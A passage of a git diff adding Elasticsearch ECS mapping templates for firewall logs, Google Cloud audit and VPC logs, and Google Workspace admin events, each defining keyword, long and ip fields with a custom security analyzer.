"fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "community": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "configcountry": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "connection_type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "conserve": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "constraint": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "contentdisarmed": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "contenttype": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "cookies": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "count": { + "type": "long" + }, + "countapp": { + "type": "long" + }, + "countav": { + "type": "long" + }, + "countcifs": { + "type": "long" + }, + "countdlp": { + "type": "long" + }, + "countdns": { + "type": "long" + }, + "countemail": { + "type": "long" + }, + "countff": { + "type": "long" + }, + "countips": { + "type": "long" + }, + "countssh": { + "type": "long" + }, + "countssl": { + "type": "long" + }, + "countwaf": { + "type": "long" + }, + "countweb": { + "type": "long" + }, + "cpu": { + "type": "long" + }, + "craction": { + "type": "long" + }, + "criticalcount": { + "type": "long" + }, + "crl": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "crlevel": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "crscore": { + "type": "long" + }, + "cveid": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "daemon": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "datarange": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "date": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ddnsserver": { + "type": "ip" + }, + "desc": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "detectionmethod": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "devcategory": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "devintfname": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "devtype": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "dhcp_msg": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "dintf": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "disk": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + 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"ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "shaperdroprcvdbyte": { + "type": "long" + }, + "shaperdropsentbyte": { + "type": "long" + }, + "shaperperipdropbyte": { + "type": "long" + }, + "shaperperipname": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "shaperrcvdname": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "shapersentname": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "shapingpolicyid": { + "type": "long" + }, + "signal": { + "type": "long" + }, + "size": { + "type": "long" + }, + "slot": { + "type": "long" + }, + "sn": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "snclosest": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "sndetected": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "snmeshparent": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "spi": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "src_int": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "srccountry": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "srcfamily": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "srchwvendor": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "srchwversion": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "srcinetsvc": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "srcintfrole": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "srcname": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "srcserver": { + "type": "long" + }, + "srcssid": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "srcswversion": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "srcuuid": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "sscname": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ssid": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "sslaction": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ssllocal": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "sslremote": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "stacount": { + "type": "long" + }, + "stage": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "stamac": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "state": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "status": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "stitch": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "subject": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "submodule": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "subservice": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "subtype": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "suspicious": { + "type": "long" + }, + "switchproto": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "sync_status": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "sync_type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "sysuptime": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "tamac": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "threattype": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "time": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "to": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "to_vcluster": { + "type": "long" + }, + "total": { + "type": "long" + }, + "totalsession": { + "type": "long" + }, + "trace_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "trandisp": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "transid": { + "type": "long" + }, + "translationid": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "trigger": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "trueclntip": { + "type": "ip" + }, + "tunnelid": { + "type": "long" + }, + "tunnelip": { + "type": "ip" + }, + "tunneltype": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ui": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "unauthusersource": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "unit": { + "type": "long" + }, + "urlfilteridx": { + "type": "long" + }, + "urlfilterlist": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "urlsource": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "urltype": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "used": { + "type": "long" + }, + "used_for_type": { + "type": "long" + }, + "utmaction": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "utmref": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "vap": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "vapmode": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "vcluster": { + "type": "long" + }, + "vcluster_member": { + "type": "long" + }, + "vcluster_state": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "vd": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "vdname": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "vendorurl": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "version": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "vip": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "virus": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "virusid": { + "type": "long" + }, + "voip_proto": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "vpn": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "vpntunnel": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "vpntype": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "vrf": { + "type": "long" + }, + "vulncat": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "vulnid": { + "type": "long" + }, + "vulnname": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "vwlid": { + "type": "long" + }, + "vwlquality": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "vwlservice": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "vwpvlanid": { + "type": "long" + }, + "wanin": { + "type": "long" + }, + "wanoptapptype": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "wanout": { + "type": "long" + }, + "weakwepiv": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "xauthgroup": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "xauthuser": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "xid": { + "type": "long" + } + } + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/ecs/gcp.json b/salt/elasticsearch/templates/component/ecs/gcp.json new file mode 100644 index 000000000..444ab6f91 --- /dev/null +++ b/salt/elasticsearch/templates/component/ecs/gcp.json @@ -0,0 +1,553 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-base.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "gcp": { + "properties": { + "audit": { + "properties": { + "authentication_info": { + "properties": { + "authority_selector": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "principal_email": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "method_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "num_response_items": { + "type": "long" + }, + "request": { + "properties": { + "filter": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "proto_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "resource_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "request_metadata": { + "properties": { + "caller_ip": { + "type": "ip" + }, + "caller_supplied_user_agent": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "resource_location": { + "properties": { + "current_locations": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "resource_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "response": { + "properties": { + "details": { + "properties": { + "group": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "kind": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "uid": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "proto_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "status": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "service_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "status": { + "properties": { + "code": { + "type": "long" + }, + "message": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "destination": { + "properties": { + "instance": { + "properties": { + "project_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "region": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "zone": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "vpc": { + "properties": { + "project_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "subnetwork_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "vpc_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + }, + "firewall": { + "properties": { + "rule_details": { + "properties": { + "action": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "destination_range": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "direction": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "priority": { + "type": "long" + }, + "reference": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "source_range": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "source_service_account": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "source_tag": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "target_service_account": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "target_tag": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + }, + "source": { + "properties": { + "instance": { + "properties": { + "project_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "region": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "zone": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "vpc": { + "properties": { + "project_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "subnetwork_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "vpc_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + }, + "vpcflow": { + "properties": { + "reporter": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "rtt": { + "properties": { + "ms": { + "type": "long" + } + } + } + } + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/ecs/google_workspace.json b/salt/elasticsearch/templates/component/ecs/google_workspace.json new file mode 100644 index 000000000..abb0e3591 --- /dev/null +++ b/salt/elasticsearch/templates/component/ecs/google_workspace.json @@ -0,0 +1,1510 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-base.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "google_workspace": { + "properties": { + "actor": { + "properties": { + "key": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "admin": { + "properties": { + "alert": { + "properties": { + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "api": { + "properties": { + "client": { + "properties": { + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "scopes": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "application": { + "properties": { + "asp_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "edition": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "enabled": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "licences_order_number": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "licences_purchased": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "package_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "bulk_upload": { + "properties": { + "failed": { + "type": "long" + }, + "total": { + "type": "long" + } + } + }, + "chrome_licenses": { + "properties": { + "allowed": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "enabled": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "chrome_os": { + "properties": { + "session_type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "device": { + "properties": { + "command_details": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "serial_number": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "distribution": { + "properties": { + "entity": { + "properties": { + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + }, + "domain": { + "properties": { + "alias": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "secondary_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "email": { + "properties": { + "log_search_filter": { + "properties": { + "end_date": { + "type": "date" + }, + "message_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "recipient": { + "properties": { + "ip": { + "type": "ip" + }, + "value": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "sender": { + "properties": { + "ip": { + "type": "ip" + }, + "value": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "start_date": { + "type": "date" + } + } + }, + "quarantine_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "email_dump": { + "properties": { + "include_deleted": { + "type": "boolean" + }, + "package_content": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "query": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "email_monitor": { + "properties": { + "dest_email": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "level": { + "properties": { + "chat": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "draft": { + 